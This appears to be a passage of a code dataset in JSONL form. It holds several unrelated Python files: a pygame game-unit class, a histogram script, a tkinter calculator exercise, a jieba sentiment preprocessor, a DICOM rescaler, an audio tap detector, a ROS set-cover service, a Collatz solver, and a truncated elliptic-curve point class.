TYPE_CASE_INEXISTANTE:\n y_carte = y_centre_case_obj\n\n if not y_centre_case_obj == y_carte and not x_centre_case_obj == x_carte:\n recadrage = False\n if x_carte > x_centre_case_obj:\n if y_carte > y_centre_case_obj:\n if self.carte.get_cases_grille(i_objectif + 1, j_objectif + 1) == TYPE_CASE_PLEINE:\n recadrage = True\n else:\n if self.carte.get_cases_grille(i_objectif + 1, j_objectif - 1) == TYPE_CASE_PLEINE:\n recadrage = True\n else:\n if y_carte > y_centre_case_obj:\n if self.carte.get_cases_grille(i_objectif - 1, j_objectif + 1) == TYPE_CASE_PLEINE:\n recadrage = True\n else:\n if self.carte.get_cases_grille(i_objectif - 1, j_objectif - 1) == TYPE_CASE_PLEINE:\n recadrage = True\n\n if recadrage:\n if abs(x_carte - x_centre_case_obj) > abs(y_carte - y_centre_case_obj):\n y_carte = y_centre_case_obj\n else:\n x_carte = x_centre_case_obj\n\n return x_carte, y_carte\n\n def test_ojectif_atteind(self):\n cran_min = math.ceil(self.vitesse_deplacement / 2) + MARGE_OBJECTIF_ATTEIND + 1\n if self.objectif is not None and abs(self.x_sur_carte - self.objectif[0]) < cran_min \\\n and abs(self.y_sur_carte - self.objectif[1]) < cran_min:\n return True\n return False\n\n def calcul_new_chemin_grille_objectif_xy(self, x_carte: int, y_carte: int, i_pos: int, j_pos: int,\n i_objectif: int, j_objectif: int):\n chemin_ij = self.carte.graph.trouve_trajectoire_ij(i_pos, j_pos, [(i_objectif, j_objectif)])\n if len(chemin_ij) > 0:\n chemin_xy = [self.carte.ij_case_to_centre_xy_carte(i, j) for i, j in chemin_ij]\n del chemin_xy[0]\n chemin_xy[-1] = (x_carte, y_carte)\n return chemin_xy\n return []\n\n def calcul_new_chemin_grille_liste_objectifs(self, i_pos: int, j_pos: int, liste_ij_objectif: list):\n chemin_ij = self.carte.graph.trouve_trajectoire_ij(i_pos, j_pos, liste_ij_objectif)\n if len(chemin_ij) > 0:\n chemin_xy = [self.carte.ij_case_to_centre_xy_carte(i, j) for i, j in chemin_ij]\n del chemin_xy[0]\n return chemin_xy\n return []\n\n # -------------------------------------------------\n # Evenements\n # -------------------------------------------------\n def new_choc(self, nb_chocs_max=NB_CHOC_AVANT_ABANDON_OBJECTIF):\n old_x, old_y = self.pos_last_choc\n if (self.x_sur_carte - old_x) ** 2 + (self.y_sur_carte - old_y) ** 2 < \\\n self.rayon * COEF_RAYONS_DISTANCE_MAX_ABANDON_OBJECTIF:\n self.nb_choc += 1\n if self.nb_choc > nb_chocs_max / (4 + self.masse_relative) * 5:\n self.objectif = None\n self.chemin_liste_objectifs = []\n self.nb_choc = 0\n return True\n else:\n self.pos_last_choc = self.x_sur_carte, self.y_sur_carte\n self.nb_choc = 1\n return False\n\n def deplace(self):\n self.deplace_dx_dy(self.vitesse_deplacement * math.cos(self._orientation),\n - self.vitesse_deplacement * math.sin(self._orientation))\n\n def deplace_dx_dy(self, dx: int, dy: int):\n self.x_float += dx\n self.y_float += dy\n\n self.x_sur_carte = int(self.x_float)\n self.y_sur_carte = int(self.y_float)\n\n def stop(self):\n self.chemin_liste_objectifs = []\n self.objectif = None\n\n def update(self):\n if self.objectif is None:\n self.nb_choc = 0\n else:\n self.deplace()\n if self.test_ojectif_atteind():\n self.objectif_suivant()\n self.check_update_scale_ecran_original_zoom()\n\n def check_update_scale_ecran_original_zoom(self):\n scale = Element.dic_elements[PARAM_F_ELEMENT_MOBILE_SCALE_IMAGE_ZOOM][self.type]\n if not self._scale_ecran_original_zoom == scale:\n self._scale_ecran_original_zoom = scale\n self.new_affichage = True\n\n def clic(self, x_carte_clic: int, y_carte_clic: int):\n if abs(x_carte_clic - self.x_sur_carte) <= self.rayon and \\\n abs(y_carte_clic - self.y_sur_carte) <= self.rayon:\n return True\n return False\n\n # -------------------------------------------------\n # Affichage\n # -------------------------------------------------\n def update_affichage(self):\n self.ecran = pygame.transform.rotozoom(self.ecran_original, self._orientation * 180 / math.pi,\n self.scale_ecran_original_zoom * self.carte.coef_zoom)\n self.ecran_size = (self.ecran.get_width(), self.ecran.get_height())\n self.new_affichage = False\n\n def affiche(self, screen: pygame.Surface):\n if self.new_affichage:\n self.update_affichage()\n x_relatif, y_relatif = self.carte.xy_carte_to_xy_relatif(self.x_sur_carte, self.y_sur_carte)\n screen.blit(self.ecran, (x_relatif - int(self.ecran_size[0] / 2), y_relatif - int(self.ecran_size[1] / 2)))\n\n def affiche_selectionne(self, screen: pygame.Surface):\n x_relatif, y_relatif = self.carte.xy_carte_to_xy_relatif(self.x_sur_carte, self.y_sur_carte)\n rayon = int((self.rayon + ANNEAU_SELECTION_DISTANCE) * self.carte.coef_zoom)\n pygame.gfxdraw.aacircle(screen, x_relatif, y_relatif, rayon, COULEUR_ELEMENT_SELECTION)\n pygame.gfxdraw.aacircle(screen, x_relatif, y_relatif, rayon, COULEUR_ELEMENT_SELECTION)\n\n def affiche_objectif(self, screen: pygame.Surface):\n if self.objectif is not None:\n a_x_r, a_y_r = None, None\n for x, y in [(self.x_sur_carte, self.y_sur_carte), self.objectif] + self.chemin_liste_objectifs:\n x_r, y_r = self.carte.xy_carte_to_xy_relatif(x, y)\n if a_x_r is not None and a_y_r is not None:\n pygame.gfxdraw.line(screen, x_r, y_r, a_x_r, a_y_r, COULEUR_ELEMENT_SELECTION)\n a_x_r, a_y_r = x_r, y_r\n pygame.draw.circle(screen, COULEUR_ELEMENT_SELECTION, (a_x_r, a_y_r), 2)\n\n @property\n def orientation(self):\n return self._orientation\n\n @property\n def scale_ecran_original_zoom(self):\n return Element.dic_elements[PARAM_F_ELEMENT_MOBILE_SCALE_IMAGE_ZOOM][self.type]\n\n @property\n def vitesse_deplacement(self):\n return Element.dic_elements[PARAM_A_ELEMENT_MOBILE_VITESSE_DEPLACEMENT][self.type]\n\n @property\n def rayon(self):\n return Element.dic_elements[PARAM_F_ELEMENT_MOBILE_RAYON][self.type]\n\n @property\n def masse_relative(self):\n return Element.dic_elements[PARAM_F_ELEMENT_MOBILE_MASSE_RELATIVE][self.type]\n","sub_path":"element_mobile.py","file_name":"element_mobile.py","file_ext":"py","file_size_in_byte":14725,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"111392137","text":"#!/usr/bin/python3\n\n# Some people can not understand R's hist() function\n# so they need this stupid script to draw\n# the same type of graph in Excel!\n\nimport sys\n\nf = open(sys.argv[1],\"r\")\nbinsize = int(sys.argv[2])\narray = list()\nmaxi = 0\nfor i in f:\n\tnum = int(i.strip())\n\tarray.append(num)\n\tif num > maxi:\n\t\tmaxi = num\nf.close()\n\nbins = list()\nfor i in range(0,int(maxi/binsize)+1):\n\tbins.append(0)\n\nfor i in array:\n\tbins[int(i/binsize)] = bins[int(i/binsize)] + 1\n\nfor i in bins:\n\tprint(i)\n","sub_path":"histcount.py","file_name":"histcount.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"579918550","text":"# Week 15, ICA 2\n\n# Week 15, ICA 2\nimport tkinter\nimport tkinter.messagebox\n\n\nclass MathGUI:\n def __init__(self):\n self.main_window = tkinter.Tk()\n self.num1_frame = tkinter.Frame(self.main_window)\n self.num2_frame = tkinter.Frame(self.main_window)\n self.op_frame = tkinter.Frame(self.main_window)\n self.res_frame = tkinter.Frame(self.main_window)\n self.cb_frame = tkinter.Frame(self.main_window)\n self.buttons_frame = tkinter.Frame(self.main_window)\n\n # widgets for num1_frame\n self.num1_label = tkinter.Label(self.num1_frame, text='Enter first number:')\n self.num1_entry = tkinter.Entry(self.num1_frame, width=10)\n self.num1_label.pack(side='left')\n self.num1_entry.pack(side='left')\n\n # widgets for num2_frame\n self.num2_label = tkinter.Label(self.num2_frame, text='Enter second number:')\n self.num2_entry = tkinter.Entry(self.num2_frame, width=10)\n self.num2_label.pack(side='left')\n self.num2_entry.pack(side='left')\n\n # widgets for op_frame\n self.rb_var = tkinter.IntVar()\n self.rb_var.set(0)\n self.add_rb = tkinter.Radiobutton(self.op_frame, text='Add', variable=self.rb_var, value=1, command=self.add)\n self.sub_rb = tkinter.Radiobutton(self.op_frame, text='Subtract', variable=self.rb_var, value=2,\n command=self.subtract)\n self.mult_rb = tkinter.Radiobutton(self.op_frame, text='Multiply', variable=self.rb_var, value=3,\n command=self.multiply)\n self.add_rb.pack(side='left')\n self.sub_rb.pack(side='left')\n self.mult_rb.pack(side='left')\n\n # widgets for the res_frame\n self.res_label = tkinter.Label(self.res_frame, text='Answer =')\n self.ans = tkinter.StringVar() # variable that contains the result\n self.ans_label = tkinter.Label(self.res_frame, textvariable=self.ans)\n self.res_label.pack(side='left')\n self.ans_label.pack(side='left')\n # widgets for cb_frame\n self.cb1_var = tkinter.IntVar()\n self.cb1_var.set(0)\n self.cb2_var = tkinter.IntVar()\n self.cb2_var.set(0)\n self.cb1 = tkinter.Checkbutton(self.cb_frame, text='Monty Python', variable=self.cb1_var)\n self.cb2 = tkinter.Checkbutton(self.cb_frame, text='Star Trek', variable=self.cb2_var)\n self.cb1.pack(side='left')\n self.cb2.pack(side='left')\n # widgets for buttons_frame\n self.calc_button = tkinter.Button(self.buttons_frame, text='Go!', command=self.whatever)\n self.quit_button = tkinter.Button(self.buttons_frame, text='Quit', command=self.main_window.destroy)\n self.calc_button.pack(side='left')\n self.quit_button.pack(side='left')\n\n # pack the frames and go into main loop\n self.num1_frame.pack()\n self.num2_frame.pack()\n self.op_frame.pack()\n self.res_frame.pack()\n self.cb_frame.pack()\n self.buttons_frame.pack()\n tkinter.mainloop()\n\n def add(self):\n self.num1 = int(self.num1_entry.get())\n self.num2 = int(self.num2_entry.get())\n self.ans.set(self.num1 + self.num2)\n\n def subtract(self):\n self.num1 = int(self.num1_entry.get())\n self.num2 = int(self.num2_entry.get())\n self.ans.set(self.num1 - self.num2)\n\n def multiply(self):\n self.num1 = int(self.num1_entry.get())\n self.num2 = int(self.num2_entry.get())\n self.ans.set(self.num1 * self.num2)\n\n def whatever(self):\n self.quote = 'Quote of the day:\\n'\n if self.cb1_var.get() == 1:\n self.quote += 'And now for something completely different!\\n'\n if self.cb2_var.get() == 1:\n self.quote += 'I cannot perform miracles, Captain, I need more time!\\n'\n\n tkinter.messagebox.showinfo('Whatever, dude.', self.quote)\n\n\nmathGUI = MathGUI()","sub_path":"ICA/Ch13Pt2.py","file_name":"Ch13Pt2.py","file_ext":"py","file_size_in_byte":3951,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"189827380","text":"import os\nimport os.path\nimport jieba\nimport codecs\nimport pickle\n\nclass ProcessDocument:\n\tdef __init__(self,fileRoot,stopwordFile):\n\t\tif os.path.isdir(fileRoot) and os.path.exists(stopwordFile):\n\t\t\tself.fileRoot = fileRoot\n\t\t\tself.stopwordFile = stopwordFile\n\t\telse:\n\t\t\traise Exception(\"fileRoot is not a folder or soopwordFile wrong!\")\n\t\n\tdef __work4ConWordVec(self,dirpath,filename,documents):\n\t\twith codecs.open(os.path.join(dirpath,filename),\"r\",encoding=\"gbk\") as fr:\n\t\t\t[documents.append(line.strip()) for line in fr if not line.isspace() and line.find(\"content>\")==-1]\n\n\n\tdef constructWordVectorAndVocabulary(self):\n\t\tposDocuments=[]\n\t\tnegDocuments=[]\n\t\t[[self.__work4ConWordVec(dirpath,filename,posDocuments) if dirpath.endswith(\"pos\") else self.__work4ConWordVec(dirpath,filename,negDocuments) if dirpath.endswith(\"neg\") else none for filename in filenames]for dirpath,dirnames,filenames in os.walk(self.fileRoot)]\n\t\tself.documents = posDocuments + negDocuments\n\n\n\t\twith codecs.open(self.stopwordFile,\"r\",\"utf-8\") as fr:\n\t\t\tself.stopwords = [line.strip() for line in fr if not line.isspace()]\n\n\t\t\n\t\tposwords=[(list(jieba.cut(document))) for document in posDocuments]\n\t\tnegwords=[(list(jieba.cut(document))) for document in negDocuments]\n\t\tself.words = poswords + negwords\n\n\n\n\t\twordstemp=[]\n\t\t[[wordstemp.append(word) for word in posword]for posword in poswords]\n\t\t[[wordstemp.append(word) for word in negword]for negword in negwords]\n\t\tself.vocabulary=list(set(wordstemp))\n\n\t\tself.boundary = (len(posDocuments),len(self.documents)) \n\n\n\tdef pickleSomething(self,pickleFileRoot):\n\t\tif not hasattr(self,'vocabulary'):\n\t\t\tself.constructWordVectorAndVocabulary()\n\t\twith open(pickleFileRoot,\"wb\") as fwb:\n\t\t\tpickle.dump(self,fwb)\n\n\n\ndef test1():\n\tobj = ProcessDocument(\"./corpus/all1\",\"./corpus/ChnStopList.txt\")\n\tobj.constructWordVectorAndVocabulary()\n\tprint(\"len(obj.documents): \",len(obj.documents))\n\tprint(\"obj.doucments[0]: \",obj.documents[0])\n\tprint(\"len(obj.words): \",len(obj.words))\n\tprint(\"obj.words[0] length: \",len(obj.words[0]),\" obj.words[0]: \",obj.words[0])\n\tprint(\"obj.words[1] length: \",len(obj.words[1]),\" obj.words[1]: \",obj.words[1])\n\tprint(\"self.boundary: \",obj.boundary)\n\tprint(\"len(obj.vocabulary): \",len(obj.vocabulary))\n\tprint(\"pos before neg and obj.documents[0]=obj.posDocuments[0]: \",obj.documents[0])\n\tprint(\"neg after pos and obj.doucment[boundary]=obj.negDocuments[0]: \",obj.documents[obj.boundary[0]])\n\tprint(\"obj.vocabulary: \",obj.vocabulary)\n\tprint(\"obj.vocabulary[非常]: \",obj.vocabulary.count(\"非常\"))\n\ttemp=[]\n\t[[temp.append(1) if word==\"非常\" else None for word in wordstemp] for wordstemp in obj.words]\n\tprint(\"非常 in all documents nums : \",len(temp))\n\n\n\t# print(\"len(obj.posDocuments)\",len(obj.posDocuments),\" len(obj.negDocuments)\",len(obj.negDocuments))\n\t# print(\"posDocuments[0]: \",obj.posDocuments[0])\n\t# print(\"negDocuments[0]: \",obj.negDocuments[0])\n\t# print(\"len(obj.poswords): \",len(obj.poswords),\" len(obj.poswords): \",len(obj.negwords))\n\t# print(\"poswords[0]: \",obj.poswords[0])\n\t# print(\"negwords[0]: \",obj.negwords[0])\n\t# print(\"len(vocabulary): \",len(obj.vocabulary))\n\t# print(obj.vocabulary)\n\ndef test():\n\tobj = ProcessDocument(\"./corpus/train\",\"./corpus/ChnStopList.txt\")\n\tobj.constructWordVectorAndVocabulary()\n\tobj.pickleSomething(\"./process.out\")\n\nif __name__=='__main__':\n\ttest()","sub_path":"lda_python/sentimentProcess.py","file_name":"sentimentProcess.py","file_ext":"py","file_size_in_byte":3365,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"165893718","text":"# uncompyle6 version 3.6.7\n# Python bytecode 3.7 (3394)\n# Decompiled from: Python 3.8.2 (tags/v3.8.2:7b3ab59, Feb 25 2020, 23:03:10) [MSC v.1916 64 bit (AMD64)]\n# Embedded file name: build/bdist.macosx-10.12-x86_64/egg/dicom_tools/rescale.py\n# Compiled at: 2018-05-21 04:28:19\n# Size of source mod 2**32: 1918 bytes\nfrom __future__ import print_function\nimport numpy as np\nfrom skimage import exposure\nfrom skimage import img_as_ubyte, img_as_uint\n\ndef rescale16bit(imgIn, verbose=False):\n if imgIn.min() < 0:\n imgIn += abs(imgIn.min())\n imgOut = exposure.rescale_intensity(imgIn, in_range='uint16', out_range='uint16')\n if imgOut.min() < 0:\n print('rescale16bit: WARNING imgOut has negative value')\n imgOut = imgOut.astype(np.uint16)\n out = img_as_uint(imgOut)\n if verbose:\n print('rescale16bit')\n print('type(image) ', type(out))\n print('type(image[0][0]) ', type(out[0][0]))\n return out\n\n\ndef rescale8bit(imgIn, verbose=False):\n if imgIn.min() < 0:\n imgIn += abs(imgIn.min())\n imgOut = exposure.rescale_intensity(imgIn, in_range='uint16', out_range='uint8')\n if imgOut.min() < 0:\n print('rescale8bit: WARNING imgOut has negative value')\n imgOut = imgOut.astype(np.uint8)\n out = img_as_ubyte(imgOut)\n if verbose:\n print('rescale8bit')\n print('type(image) ', type(out))\n print('type(image[0][0]) ', type(out[0][0]))\n return out","sub_path":"pycfiles/dicom_upload-0.1.2-py2.py3-none-any/rescale.cpython-37.py","file_name":"rescale.cpython-37.py","file_ext":"py","file_size_in_byte":1440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"580133782","text":"# Inspired by http://stackoverflow.com/questions/4160175/detect-tap-with-pyaudio-from-live-mic\n# Adjusted by Rotem Hemo\n\nimport pyaudio\nimport struct\nimport math\n\nfrom audio_recorder import Record\n\n\nclass Segmenter:\n\tdef __init__(self, block_size_in_sec=0.02, rate=44100, channels=1, audio_format=pyaudio.paInt16, tap_threshold=0.010):\n\t\tself.recoder = Record()\n\t\tself.audio_stream = self.recoder.get_stream()\n\n\t\tself.block_size_in_sec = block_size_in_sec\n\t\tself.channels = channels\n\t\tself.rate = rate\n\t\tself.frames_per_block = int(self.rate * self.block_size_in_sec)\n\t\tself.audio_foramt = audio_format\n\n\t\tself.tap_threshold = tap_threshold\n\n\t\tself.max_tap_block = 0.15 / self.block_size_in_sec\n\t\tself.noisy_count = self.max_tap_block + 1\n\t\tself.quiet_count = 0\n\n\t\tself.over_sensitive = 15.0 / self.block_size_in_sec\n\t\tself.under_sensitive = 120.0 / self.block_size_in_sec\n\n\tdef close_strem(self):\n\t\tself.audio_stream.close()\n\n\t@staticmethod\n\tdef rms(data_block):\n\t\tsamples_count = len(data_block) / 2\n\t\tshort_normalize = (1.0 / 32768.0)\n\t\tstring_format = \"%dh\" % samples_count\n\t\tshorts = struct.unpack(string_format, data_block)\n\n\t\tsum_squares = 0.0\n\t\tfor sample in shorts:\n\t\t\tn = sample * short_normalize\n\t\t\tsum_squares += n * n\n\n\t\treturn math.sqrt(sum_squares / samples_count)\n\n\tdef grab_and_detect(self, callback):\n\n\t\t# grab a block of sound\n\t\tblock = self.audio_stream.read(self.frames_per_block)\n\n\t\t# get rms\n\t\tamplitude = self.rms(block)\n\n\t\tif amplitude > self.tap_threshold:\n\t\t\t# noisy block\n\t\t\tself.quiet_count = 0\n\t\t\tself.noisy_count += 1\n\t\t\tif self.noisy_count > self.over_sensitive:\n\t\t\t\t# turn down the sensitivity\n\t\t\t\tself.tap_threshold *= 1.1\n\t\telse:\n\t\t\t# quiet block.\n\n\t\t\tif 1 <= self.noisy_count <= self.max_tap_block:\n\t\t\t\tcallback()\n\n\t\t\tself.noisy_count = 0\n\n\t\t\tself.quiet_count += 1\n\t\t\tif self.quiet_count > self.under_sensitive:\n\t\t\t\t# turn up the sensitivity\n\t\t\t\tself.tap_threshold *= 0.9\n\n\n\n\n\n","sub_path":"code/project/detection/segmenter.py","file_name":"segmenter.py","file_ext":"py","file_size_in_byte":1913,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"118941266","text":"#!/usr/bin/env python\n\n#TO-DO: Naming (instance etc...)\nimport numpy as np\nfrom SetCoverPy import setcover\n\nfrom koptplanner.srv import SetCoverSolver, SetCoverSolverResponse\nimport rospy\nfrom rospy.numpy_msg import numpy_msg #TO-DO:\n\n##TO-DO: Disable and enable printing, suppress warnings. Remove\nimport sys, os\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\n# Disable\ndef blockPrint():\n sys.stdout = open(os.devnull, 'w')\n\n# Restore\ndef enablePrint():\n sys.stdout = sys.__stdout__\n\ndef handle_SetCoverSolver(req):\n\n #Convert Message into numpy array\n instance_count = req.visibility_matrix.layout.dim[0].size\n candidate_count = req.visibility_matrix.layout.dim[1].size\n\n print(\"No tris/VPs before: \" + str(instance_count) + \"/\" + str(candidate_count))\n\n vismat = np.zeros((instance_count, candidate_count), dtype=bool)\n\n for inst in range(instance_count):\n for cand in range(candidate_count):\n # vismat[inst, cand] = req.visibility_matrix.data[inst + instance_count*cand]\n vismat[inst, cand] = req.visibility_matrix.data[inst + instance_count*cand]\n\n\n #vismattri,vp]\n #find uncovered rows (triangles)\n instances_retained = []\n print(\"Shape of vector: \" + str(vismat[0,:].shape))\n for i in range(instance_count):\n #If at least one entry in the row is True, mark it to be retained\n if(vismat[i,:].sum() != 0):\n instances_retained.append(i)\n #Apply mask, remove uncovered rows\n vismat = vismat[instances_retained, :]\n\n #TO-DO: Test, remove\n # return SetCoverSolverResponse(instances_retained)\n\n print(\"No tris/VPs after: \" + str(vismat.shape))\n\n cost = np.ones(vismat.shape[1])\n\n # blockPrint()\n g = setcover.SetCover(vismat, cost)\n solution, time_used = g.SolveSCP()\n # enablePrint()\n\n solution_entries = []\n # print(\"Sizes Instances retained, g.s: \" + str(len(instances_retained)) + \"/\" + str(len(g.s)))\n\n for i in range(len(g.s)): #TO-DO: -1 correct?\n if(g.s[i] == True):\n solution_entries.append(i)\n\n return SetCoverSolverResponse(solution_entries)\n # #Boolean output array TO-DO:\n # solution_array = np.zeros(candidate_count, dtype=bool)\n # solution_array[solution_entries] = True\n\n # return SetCoverSolverResponse(solution_array)\n\n\ndef SetCoverSolver_server():\n rospy.init_node('SetCoverSolver_server')\n s = rospy.Service('set_cover_solver', SetCoverSolver, handle_SetCoverSolver)\n rospy.spin()\n\nif __name__ == \"__main__\":\n SetCoverSolver_server()","sub_path":"koptplanner/scripts/SetCoverSolver_server.py","file_name":"SetCoverSolver_server.py","file_ext":"py","file_size_in_byte":2537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"342706464","text":"# def get_collatz_seq(number: int):\n# seq = [number]\n# while number > 1:\n# # print(number)\n# if number % 2 == 0:\n# number //= 2\n# else:\n# number = (3 * number + 1)\n# seq.append(number)\n# return seq\n\ndef get_collatz_seq_len(number: int):\n c = 1\n while number > 1:\n # print(number)\n if number % 2 == 0:\n number //= 2\n else:\n number = (3 * number + 1)\n c += 1\n return c\n\n\ndef main():\n max_seq_num = 2\n max_seq_len = 0\n for i in range(2, 1000000 + 1):\n seq_len = get_collatz_seq_len(i)\n if seq_len > max_seq_len:\n max_seq_len, max_seq_num = seq_len, i\n print(max_seq_num)\n \n \nif __name__ == '__main__':\n main()","sub_path":"problem_14.py","file_name":"problem_14.py","file_ext":"py","file_size_in_byte":687,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"182370260","text":"\n#\n# Elliptic Curve Points\n# Projective Weierstrass coordinates\n# M.Scott August 2013\n#\nimport copy\nfrom constants import *\n\nfrom XXX import big\nfrom XXX import curve\nfrom XXX.fp import *\n\t\nclass ECp:\n\tA = Fp(curve.A)\n\tB = Fp(curve.B)\n\n\tdef __init__(self):\n\t\tself.x = Fp(0)\n\t\tself.y = Fp(1)\n\t\tif curve.CurveType==EDWARDS :\n\t\t\tself.z = Fp(1)\n\t\telse :\n\t\t\tself.z = Fp(0)\n\n\tdef copy(self):\n\t\treturn copy.deepcopy(self)\n\n# convert to affine coordinates\n\tdef affine(self):\n\t\tif self.isinf() or self.z.isone():\n\t\t\treturn\n\t\tiz = self.z.inverse() #iz / self.z\n\t\tself.x *= iz\n\t\tif curve.CurveType!=MONTGOMERY:\n\t\t\tself.y *= iz\n\t\tself.z = Fp(1)\n\t\treturn self\n\n# check if point-at-infinity\n\tdef isinf(self) :\n\t\tif curve.CurveType==WEIERSTRASS :\n\t\t\tif self.x.iszero() and self.z.iszero() :\n\t\t\t\treturn True\n\t\tif curve.CurveType==EDWARDS :\t\n\t\t\tif self.x.iszero() and self.y==self.z :\n\t\t\t\treturn True\t\t\t\n\t\tif curve.CurveType==MONTGOMERY :\t\n\t\t\tif self.z.iszero() :\n\t\t\t\treturn True\t\t\t\n\t\treturn False\n\n#set to point-at-infinity\n\tdef inf(self) :\n\t\tself.x = Fp(0)\n\t\tself.y = Fp(1)\n\t\tif curve.CurveType==EDWARDS :\n\t\t\tself.z = Fp(1)\n\t\telse :\n\t\t\tself.z = Fp(0)\n\t\treturn self\n\n\tdef set(self, x, s=0):\t\t\t# set point from x and LSB of y\n\t\tmx = Fp(x)\n\t\trhs = RHS(mx)\n\t\tif rhs.jacobi() != 1:\n\t\t\treturn False\n\t\tself.x = mx\n\t\tself.z = Fp(1)\n\n\t\tif curve.CurveType != MONTGOMERY :\n\t\t\tself.y = rhs.sqrt()\n\t\t\tif big.bit(self.y.int(), 0) != s:\n\t\t\t\tself.y = -self.y\n\t\treturn True\n\n\tdef setxy(self, x, y):\n\t\tmx = Fp(x)\n\t\tmy = Fp(y)\n\t\tif my * my != RHS(mx):\n\t\t\treturn False\n\t\tself.x = mx\n\t\tself.y = my\n\t\tself.z = Fp(1)\n\t\treturn True\n\n\tdef get(self):\t\t\t\t# return tuple Fp x and Fp y\n\t\tW=self.copy()\n\t\tif W.isinf():\n\t\t\treturn (0, 0)\n\t\tW.affine()\n\t\tif curve.CurveType==MONTGOMERY:\n\t\t\treturn W.x.int()\n\t\treturn(W.x.int(), W.y.int())\n\n\tdef getxs(self):\t\t\t\t# return tuple integer x and LSB of y\n\t\tW=self.copy()\n\t\tif W.isinf():\n\t\t\treturn (0, 0)\n\t\tW.affine()\n\t\tif curve.CurveType==MONTGOMERY:\n\t\t\treturn (W.x.int(),0)\n\t\treturn (W.x.int(), big.bit(W.y.int(), 0))\n\n\tdef getx(self):\t\t\t\t# return just integer x\n\t\tW=self.copy()\n\t\tif W.isinf():\n\t\t\treturn 0\n\t\tW.affine()\n\t\treturn W.x.int()\n\n# Return as Fps\n\tdef getxy(self):\n\t\tW=self.copy()\n\t\tif (W.isinf()):\n\t\t\treturn (Fp(0), Fp(0))\n\t\tW.affine()\n\t\tif curve.CurveType==MONTGOMERY:\n\t\t\treturn W.x.copy()\n\t\treturn (W.x.copy(), W.y.copy())\n\n\tdef __eq__(self, other):\n\t\tzs = self.z\n\t\tzo = other.z\n\t\tif self.x * zo != other.x * zs:\n\t\t\treturn False\n\t\tif curve.CurveType != MONTGOMERY :\n\t\t\tif self.y * zo != other.y * zs:\n\t\t\t\treturn False\n\t\treturn True\n\n\tdef __ne__(self, other):\n\t\treturn not(self == other) \n\n\tdef __neg__(self):\n\t\ts = self.copy()\n\t\tif not s.isinf():\n\t\t\tif curve.CurveType==WEIERSTRASS:\n\t\t\t\ts.y = -s.y\n\t\t\tif curve.CurveType==EDWARDS:\n\t\t\t\ts.x = -s.x\t\t\t\n\t\treturn s\n\n# use exception-free formulae\n\tdef dbl(self):\n\t\tif curve.CurveType==WEIERSTRASS:\n\t\t\tif ECp.A.iszero():\n\t\t\t\tt0=self.y.copy()\n\t\t\t\tt0=t0*t0\n\t\t\t\tt1=self.y.copy()\n\t\t\t\tt1=t1*self.z\n\t\t\t\tt2=self.z.copy()\n\t\t\t\tt2=t2*t2\n\t\t\t\tself.z=t0+t0\n\t\t\t \n\t\t\t\tself.z+=self.z\n\t\t\t\tself.z+=self.z\n\t\t\t\tt2*=(ECp.B+ECp.B+ECp.B)\n\t\t\t\tx3=t2*self.z\n\t\t\t\ty3=t0+t2\n\t\t\t\tself.z*=t1\n\t\t\t\tt1=t2+t2\n\t\t\t\tt2+=t1\n\t\t\t\tt0-=t2\n\t\t\t\ty3*=t0\n\t\t\t\ty3+=x3\n\t\t\t\tt1=self.x*self.y\n\t\t\t\tself.x=t0\n\t\t\t\tself.x*=t1\n\t\t\t\tself.x+=self.x\n\t\t\t\tself.y=y3\n\t\t\telse :\n\t\t\t\tt0=self.x.copy()\n\t\t\t\tt1=self.y.copy()\n\t\t\t\tt2=self.z.copy()\n\t\t\t\tt3=self.x.copy()\n\t\t\t\tz3=self.z.copy()\n\t\t\t\ty3=Fp(0)\n\t\t\t\tx3=Fp(0)\n\t\t\t\tb=ECp.B\n\n\t\t\t\tt0*=t0\n\t\t\t\tt1*=t1\n\t\t\t\tt2*=t2\n\n\t\t\t\tt3 *= self.y\n\t\t\t\tt3 += t3\n\n\t\t\t\tz3*=self.x\n\t\t\t\tz3 += z3\n \n\t\t\t\ty3=t2*b\n\t\t\t\t\n\t\t\t\ty3-=z3\n\t\t\t\tx3=y3+y3\n\n\t\t\t\ty3+=x3\n\t\t\t\tx3=t1-y3\n\t\t\t\ty3+=t1 \n\t\t\t\ty3*=x3\n\t\t\t\tx3*=t3 \n\t\t\t\tt3=t2+t2\n\t\t\t\tt2+=t3\n\t\t\t\tz3*=b\n\n\t\t\t\tz3-=t2\n\t\t\t\tz3-=t0 \n\t\t\t\tt3=z3+z3\n\n\t\t\t\tz3+=t3 \n\t\t\t\tt3=t0+t0\n\t\t\t\tt0+=t3\n\t\t\t\tt0-=t2\n\n\t\t\t\tt0*=z3\n\t\t\t\ty3+=t0 \n\t\t\t\tt0=self.y*self.z\n\t\t\t\tt0+=t0\n\t\t\t\tz3*=t0\n\t\t\t\tx3-=z3\n\t\t\t\tt0+=t0\n\t\t\t\tt1+=t1\n\t\t\t\tz3=t0*t1\n\n\t\t\t\tself.x=x3 \n\t\t\t\tself.y=y3\n\t\t\t\tself.z=z3\n\n\t\tif curve.CurveType==EDWARDS:\n\t\t\tC=self.x.copy()\n\t\t\tD=self.y.copy()\n\t\t\tH=self.z.copy()\n\t\t\tJ=Fp(0)\n\n\t\t\tself.x*=self.y \n\t\t\tself.x+=self.x\n\t\t\tC*=C\n\t\t\tD*=D\n\n\t\t\tif ECp.A==Fp(-1):\n\t\t\t\tC=-C\n\n\t\t\tself.y=C+D\n\t\t\tH*=H \n\t\t\tH+=H\n\n\t\t\tself.z=self.y.copy()\n\t\t\tJ=self.y.copy()\n\n\t\t\tJ-=H\n\t\t\tself.x*=J\n\n\t\t\tC-=D\n\t\t\tself.y*=C\n\t\t\tself.z*=J\n\n\t\tif 